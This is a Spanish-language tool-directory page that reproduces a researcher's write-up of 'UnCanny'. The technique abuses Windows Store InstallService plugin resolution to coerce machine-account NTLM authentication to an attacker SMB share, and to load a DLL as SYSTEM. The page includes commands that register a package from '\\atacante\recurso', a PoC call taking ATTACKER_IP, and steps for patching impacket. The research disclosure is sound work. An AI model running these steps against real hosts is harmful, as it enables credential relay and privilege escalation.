Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
UnCanny — Otra nueva primitiva de coerción con LPE - coerción NTLM de cuenta de máquina desde un usuario no administrador mediante experimentos de resolución de complementos de InstallService de Windows Store | Kitploit
Herramientas/GitHubGitHub/0xhossam/uncanny
Escalada de PrivilegiosExplotaciónMovimiento LateralPapers e InvestigaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHub0xhossam/uncanny

UnCanny

Otra nueva primitiva de coerción con LPE - coerción NTLM de cuenta de máquina desde un usuario no administrador mediante experimentos de resolución de complementos de InstallService de Windows Store

Ver Repositorio
8712hace 2 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

UNCanny Coerce

La idea detrás de esta investigación era simple, ya que quería encontrar mi propia técnica de coerción. Empecé buscando nuevas superficies de ataque RPC, pero después de que Microsoft agregó monitoreo de actividad RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), decidí tomar un camino diferente.

UNCanny es el resultado de ese agujero de conejo. No es algo que consideraría confiable para operaciones reales de red team debido a su limitación, pero aun así creo que las notas valen la pena publicarlas para cualquiera que explore la misma área.


brevemente, esta primitiva es:

un usuario normal entrega al servicio de instalación de Windows Store algunos metadatos de instalación -> el servicio, ejecutándose como sistema local, resuelve un "plugin" para ese trabajo -> el resolvedor termina haciendo LoadLibraryW en una ruta que el usuario influyó -> esa ruta es una UNC -> NTLM saliente como la cuenta de la máquina.

el componente es el mundo del servicio de instalación de Windows Store: InstallService.dll alojado en InstallService.exe, ejecutándose como NT AUTHORITY\SYSTEM.

encontrando la superficie extraña

El agujero de conejo comenzó con InstallService.dll. Estaba mirando componentes de Windows que instalan paquetes, restauran estado después de reinicio, reanudan trabajos fallidos, leen contenido local/remoto y cargan plugins. cualquier cosa que tenga esas cuatro cosas juntas normalmente tiene una confusión de límites en algún lado:

  • tiene un lado llamador medio público porque el espacio de usuario normal necesita solicitar instalaciones
  • tiene un lado trabajador privilegiado porque la instalación de paquetes/gestión de estado necesita derechos de servicio
  • tiene serialización porque el trabajo debe sobrevivir al reinicio
  • tiene carga de plugins porque a Windows le gusta hacer las cosas simples modulares y aterradoras

La clase de runtime interesante era:

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

Ese parámetro propertiesJson es donde vive la diversión. el comportamiento de instalación se describe mediante campos json como FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

Al principio pensé que el error iba a ser "poner una UNC en SourceUri y dejar que el servicio lo lea". eso habría sido hermoso, pero Windows no fue tan generoso. invertí la ruta de cumplimiento incorporada (CreateInstallServiceWorkFromBridge, InstallService.dll) y los plugins incorporados simplemente no hacen eso:

  • WU analiza el json y sale a través de WinHTTP / Delivery Optimization. nunca SMB.
  • ChainedWork y XVC son la misma historia o ni siquiera están presentes en un cliente.
  • un SourceUri sin procesar o es rechazado rápidamente o se enruta a la validación del catálogo. CreateCatalogItemFromLocalData a pesar del nombre construye un elemento de catálogo a partir del json serializado en memoria, no va a abrir un archivo.

Así que la idea ingenua es un callejón sin salida, esta característica es muy interesante y también estoy haciendo otras primitivas de investigación sobre ella y vale la pena decirlo en voz alta para que nadie pierda una semana en ello :)

SYSTEM toca una ruta

el único lugar en todo el flujo de creación/restauración donde el servicio toca una ruta influenciada por el atacante es la activación del plugin. la función es PluginHelpers::ActivatePlugin. resuelve FulfillmentPluginId en este orden:

  1. "WU" -> incorporado
  2. "ChainedWork" -> incorporado
  3. valor encontrado en StaticPluginMap (HKLM) -> CoCreateInstance un CLSID, o activar una clase WinRT
  4. "XVC" -> fábrica de xbox
  5. cualquier otra cosa -> tratarlo como un nombre de familia de paquete. FindPackagesForUser(pfn) -> tomar el InstalledLocation.Path de ese paquete -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

la rama 5 es la única y PluginHelpers::IsPluginAvailable confirma la puerta: devuelve verdadero para cualquier FulfillmentPluginId que coincida con un paquete instalado, a través de la misma búsqueda FindPackagesForUser.

alt text

así que si un FulfillmentPluginId apunta a un paquete cuyo InstalledLocation es una UNC, entonces InstallService.exe ejecutándose como SYSTEM hace:

root@kitploit:~
LoadLibraryW( \\atacante\recurso\InstallServicePlugin.dll )

LoadLibraryW tiene que conectarse a \\atacante\recurso y autenticarse antes de poder descubrir que la dll no está allí, y esa autenticación es la coerción; la dll nunca tiene que existir.

alt text

la primitiva real

la única pregunta que queda es "cómo consigue un usuario normal un paquete cuyo InstalledLocation es una UNC". la respuesta es el registro de archivos sueltos, que es una operación por usuario, no elevada:

root@kitploit:~
Add-AppxPackage -Register \\atacante\recurso\AppxManifest.xml

Windows registra el paquete "en su lugar", por lo que el InstalledLocation registrado es literalmente la UNC a la que apuntaste. luego activas el trabajo con el nombre de familia de ese paquete como id del plugin.

  1. Add-AppxPackage -Register \\atacante\recurso\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <el PFN de ese paquete> )

el llamador es un usuario normal, la autenticación de red es la cuenta de la máquina.

alt text

usuario con pocos privilegios lo activó, la cuenta de la máquina se autenticó. el propio cargador de Windows hizo el toque UNC, no el llamador.

coerción a través de smb

lado del atacante

dos cosas que ordenar antes de ejecutar:

  • impacket-smbserver reporta tipo de sistema de archivos XTFS. AppX se niega a registrarse en recursos compartidos que no sean NTFS (0x80073CFD). parchea el campo FileSystemName en impacket/smbserver.py a NTFS.

  • el recurso compartido necesita AppxManifest.xml, logo.png, dummy.exe. no se necesita InstallServicePlugin.dll. MaxVersionTested en el manifiesto debe ser ≤ build objetivo (winver en el objetivo para verificar).

Puedes ejecutar poc/setup.sh desde la raíz del repositorio en Kali. llena el recurso compartido, parchea impacket, prepara poc.ps1 en el objetivo a través de smbclient si TARGET_IP y TARGET_CREDS están configurados, e inicia el servidor ;-)

Luego, en tu estación de trabajo Windows como el usuario con pocos privilegios desde una sesión interactiva:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Hay un segundo lado del mismo error que es más directo que la coerción. si InstallServicePlugin.dll realmente existe en la ruta del paquete UNC, el servicio aún alcanza la misma rama LoadLibraryW(\\atacante\recurso\InstallServicePlugin.dll), pero esta vez el cargador tiene éxito y la dll se asigna dentro del proceso del servicio de instalación de la tienda como NT AUTHORITY\SYSTEM.

Así que me emocioné tratando de probar este problema y escribí el poc en lpe/. lo importante no es otro truco de registro de paquetes, es el mismo paquete suelto registrado que se reutiliza como el paquete del plugin. el arnés solicita el nombre de familia del paquete del usuario con pocos privilegios mediante Get-AppxPackage, pasa ese PFN como FulfillmentPluginId, establece SkipCatalogLookup=true, e incluye SerializedFulfillmentData. ese último campo importa porque InstallQueue2::CreateWork rechaza la solicitud con 0x80070057 si se omite la búsqueda en el catálogo sin datos de cumplimiento.

Es muy importante notar algo que tomó mucho tiempo en la resolución de problemas: impacket no puede servir una imagen cargable. responde las lecturas lo suficientemente bien para que la cuenta de la máquina se autentique, por lo que la ruta de coerción es perfectamente feliz, pero LoadLibraryW contra un recurso compartido de impacket devuelve nulo con ERROR_INVALID_HANDLE y DllMain nunca se ejecuta. sirve los mismos archivos con un servidor SMB real (Samba) y la carga tiene éxito. Samba reporta NTFS por defecto, por lo que el registro suelto aún funciona. así que la regla es simple: impacket cuando solo quieres el hash, Samba cuando quieres que la dll realmente se ejecute como SYSTEM!

en una ejecución real, activada por el usuario con pocos privilegios, uncanny_lpe.txt muestra la dll asignada en svchost.exe y el token resolviendo a NT AUTHORITY\SYSTEM / S-1-5-18, que es la captura de pantalla a continuación.

prueba de lpe como coercionlow

CreateInstallServiceWork aún devuelve 0x800706BE con esta dll de demostración porque DllMain ya se ejecutó para cuando el servicio solicita la interfaz real del plugin y se rinde :-)

rama activateplugin loadlibrary

limitaciones

La limitación es en realidad la razón por la que decidí publicar esta técnica - el modo desarrollador debe estar habilitado para realizarla. todo depende de que InstalledLocation.Path sea una ruta UNC, y después de pasar mucho tiempo investigando, solo encontré una forma de hacer que eso suceda. una instalación firmada normal copia el paquete en C:\Program Files\WindowsApps\..., establece InstalledLocation allí, y eso siempre es una ruta local.

la única ruta de registro que encontré que mantiene los archivos donde ya están, incluso en un recurso compartido UNC, es el registro de archivos sueltos (Add-AppxPackage -Register <manifest>). eso es exactamente lo que desbloquea el Modo Desarrollador (AllowDevelopmentWithoutDevLicense bajo HKLM\...\AppModelUnlock). y la razón por la que está protegido tiene sentido. el registro suelto básicamente crea una identidad de paquete confiable a partir de archivos sin firmar arbitrarios ubicados en una ubicación que controlas, lo que elude por completo el modelo de confianza normal de la tienda y la firma. debido a eso, el Modo Desarrollador debe estar habilitado, y esa es actualmente la mayor limitación de la técnica.

La parte interesante es que el lado de InstallService realmente no se preocupa, y una vez que existe tal paquete, la rama 5 de ActivatePlugin llamará felizmente a LoadLibraryW en cualquier InstalledLocation.Path que reciba. el problema completo es obtener un paquete cuya ubicación de instalación apunte a una ruta UNC en primer lugar sin necesidad del Modo Desarrollador.

Así que comencé a ingeniarlas las barreras de protección buscando otra forma de entrar.

la verificación del Modo Desarrollador no vive dentro de InstallService en absoluto. se encuentra dentro de la pila de implementación de AppX (AppXDeploymentServer.dll y la política de licencias de implementación) y finalmente lee HKLM\...\AppModelUnlock, que está controlado por el administrador. no hay nada que un usuario normal pueda cambiar allí.

También perseguí lo que parecía la omisión obvia, como la carga lateral

Lo probé con la carga lateral habilitada y el Modo Desarrollador deshabilitado (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). el registro suelto falló inmediatamente y se quejó de que el origen del paquete era Unsigned y que no se podía aplicar ninguna licencia válida o política de carga lateral.

todavía hay algunas rutas que no he descartado por completo, puedes indagar si quieres:

  • StaticPluginMap combinado con un secuestro de orden de búsqueda de COM
  • -ExternalLocation y contenido de paquete externo
  • enlaces simbólicos o junctions
  • secuestro de COM por usuario a través de HKCU\...\CLSID

detecciones?

Elastic probablemente cubrirá esto en un día.


  • no soy responsable de cómo se utiliza esta información. esta investigación se publica con fines educativos al final del día, y también puede ayudar a mejorar la comprensión de la superficie de ataque.
Descargar herramienta